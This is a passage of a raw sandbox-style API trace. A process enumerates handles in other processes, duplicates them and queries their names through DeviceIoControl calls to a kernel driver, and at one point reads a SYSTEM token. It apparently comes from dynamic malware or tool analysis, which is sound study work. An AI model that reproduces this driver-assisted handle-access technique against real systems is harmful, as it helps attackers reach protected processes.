PsReleaseProcessExitSynchronization () returned 0x2 [0119.293] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.293] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.293] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0xf7 [0119.293] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.294] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.294] CloseHandle (hObject=0xc4) returned 1 [0119.294] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.294] GetCurrentProcess () returned 0xffffffffffffffff [0119.294] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.294] CloseHandle (hObject=0xc4) returned 1 [0119.294] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.294] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.294] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0119.294] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.294] PsAcquireProcessExitSynchronization () returned 0x0 [0119.294] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.294] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0119.294] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.294] PsReleaseProcessExitSynchronization () returned 0x2 [0119.294] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.294] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.294] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x47c [0119.294] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.294] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.294] CloseHandle (hObject=0xc0) returned 1 [0119.294] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.294] GetCurrentProcess () returned 0xffffffffffffffff [0119.294] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.294] CloseHandle (hObject=0xc0) returned 1 [0119.294] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x80) returned 0x27cb50 [0119.294] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x27cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x27cb50, ReturnLength=0x0) returned 0x0 [0119.295] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27cb50 | out: hHeap=0x240000) returned 1 [0119.295] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x1e, lpOverlapped=0x0) returned 1 [0119.295] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.295] PsAcquireProcessExitSynchronization () returned 0x0 [0119.295] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.295] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0004cdd40, HandleInformation=0x0) returned 0x0 [0119.295] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.295] PsReleaseProcessExitSynchronization () returned 0x2 [0119.295] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.295] ObQueryNameString (in: Object=0xfffff8a0004cdd40, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.295] ObfDereferenceObject (Object=0xfffff8a0004cdd40) returned 0x8c [0119.295] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.295] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.295] CloseHandle (hObject=0xc4) returned 1 [0119.295] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf80) returned 0xc4 [0119.295] GetCurrentProcess () returned 0xffffffffffffffff [0119.295] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x98, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.295] CloseHandle (hObject=0xc4) returned 1 [0119.295] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.295] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.295] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.295] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.295] NtQueryInformationProcess (in: ProcessHandle=0xc0, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0119.295] CloseHandle (hObject=0xc0) returned 1 [0119.295] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf80) returned 0xc0 [0119.295] GetCurrentProcess () returned 0xffffffffffffffff [0119.295] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.295] CloseHandle (hObject=0xc0) returned 1 [0119.295] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.295] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x80) returned 0x27cb50 [0119.295] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x27cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x27cb50, ReturnLength=0x0) returned 0x0 [0119.295] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27cb50 | out: hHeap=0x240000) returned 1 [0119.295] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.296] PsLookupProcessByProcessId (in: ProcessId=0xf80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.296] PsAcquireProcessExitSynchronization () returned 0x0 [0119.296] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0) [0119.296] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030a6dc0, HandleInformation=0x0) returned 0x0 [0119.296] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.296] PsReleaseProcessExitSynchronization () returned 0x2 [0119.296] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0119.296] ObQueryNameString (in: Object=0xfffffa80030a6dc0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.296] ObfDereferenceObject (Object=0xfffffa80030a6dc0) returned 0x2 [0119.296] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.296] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.296] CloseHandle (hObject=0xc4) returned 1 [0119.296] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf3c) returned 0xc4 [0119.296] GetCurrentProcess () returned 0xffffffffffffffff [0119.296] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.296] CloseHandle (hObject=0xc4) returned 1 [0119.296] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.296] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.296] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.296] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.296] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.296] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.296] PsAcquireProcessExitSynchronization () returned 0x0 [0119.296] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0119.296] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0119.296] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.296] PsReleaseProcessExitSynchronization () returned 0x2 [0119.296] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0119.296] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.296] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0119.296] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.296] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.297] CloseHandle (hObject=0xc0) returned 1 [0119.297] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0119.297] GetCurrentProcess () returned 0xffffffffffffffff [0119.297] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.297] CloseHandle (hObject=0xc0) returned 1 [0119.297] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.297] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.297] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.297] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.297] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.297] PsAcquireProcessExitSynchronization () returned 0x0 [0119.297] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0119.297] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0119.297] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.297] PsReleaseProcessExitSynchronization () returned 0x2 [0119.297] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0119.297] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.297] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0119.297] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.297] CloseHandle (hObject=0xc4) returned 1 [0119.297] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0119.297] GetCurrentProcess () returned 0xffffffffffffffff [0119.297] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.297] CloseHandle (hObject=0xc4) returned 1 [0119.297] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.297] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.297] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.298] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0119.298] GetCurrentProcess () returned 0xffffffffffffffff [0119.298] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0119.298] CloseHandle (hObject=0xc4) returned 1 [0119.298] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0119.298] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0119.301] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0119.301] GetLastError () returned 0x32 [0119.301] SetLastError (dwErrCode=0x32) [0119.301] GetLastError () returned 0x32 [0119.301] SetLastError (dwErrCode=0x32) [0119.301] CloseHandle (hObject=0xc8) returned 1 [0119.301] CloseHandle (hObject=0xc0) returned 1 [0119.301] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0119.301] GetCurrentProcess () returned 0xffffffffffffffff [0119.301] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0119.301] CloseHandle (hObject=0xc0) returned 1 [0119.301] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x27cb50 [0119.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x27cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x27cb50*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.301] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880044355a8 | out: Process=0xfffff880044355a8) returned 0x0 [0119.301] PsAcquireProcessExitSynchronization () returned 0x0 [0119.301] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355c8) [0119.301] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff880044355b0, HandleInformation=0x0 | out: Object=0xfffff880044355b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0119.301] PsReleaseProcessExitSynchronization () returned 0x2 [0119.301] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0119.301] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880044355a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880044355a4) returned 0xc0000004 [0119.301] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a0035e1650 [0119.301] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0035e1650, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0035e1650, ReturnLength=0x0) returned 0x0 [0119.301] ExFreePoolWithTag (P=0xfffff8a0035e1650, Tag=0x0) [0119.301] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0119.301] KeUnstackDetachProcess (ApcState=0xfffff880044355c8) [0119.301] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27cb50 | out: hHeap=0x240000) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.302] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.302] PsAcquireProcessExitSynchronization () returned 0x0 [0119.302] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0119.302] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0119.302] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.302] PsReleaseProcessExitSynchronization () returned 0x2 [0119.302] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0119.302] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.302] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0119.302] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.302] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0119.302] GetCurrentProcess () returned 0xffffffffffffffff [0119.302] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0119.302] CloseHandle (hObject=0xc0) returned 1 [0119.302] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x27cb50 [0119.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x27cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x27cb50*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0119.302] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880044355a8 | out: Process=0xfffff880044355a8) returned 0x0 [0119.302] PsAcquireProcessExitSynchronization () returned 0x0 [0119.302] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355c8) [0119.302] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff880044355b0, HandleInformation=0x0 | out: Object=0xfffff880044355b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0119.302] PsReleaseProcessExitSynchronization () returned 0x2 [0119.302] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0119.302] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880044355a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880044355a4) returned 0xc0000004 [0119.302] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a0035e1650 [0119.302] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0035e1650, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0035e1650, ReturnLength=0x0) returned 0x0 [0119.302] ExFreePoolWithTag (P=0xfffff8a0035e1650, Tag=0x0) [0119.302] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0119.302] KeUnstackDetachProcess (ApcState=0xfffff880044355c8) [0119.302] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.303] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27cb50 | out: hHeap=0x240000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.303] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.303] PsAcquireProcessExitSynchronization () returned 0x0 [0119.303] KeStackAttachProcess (in: 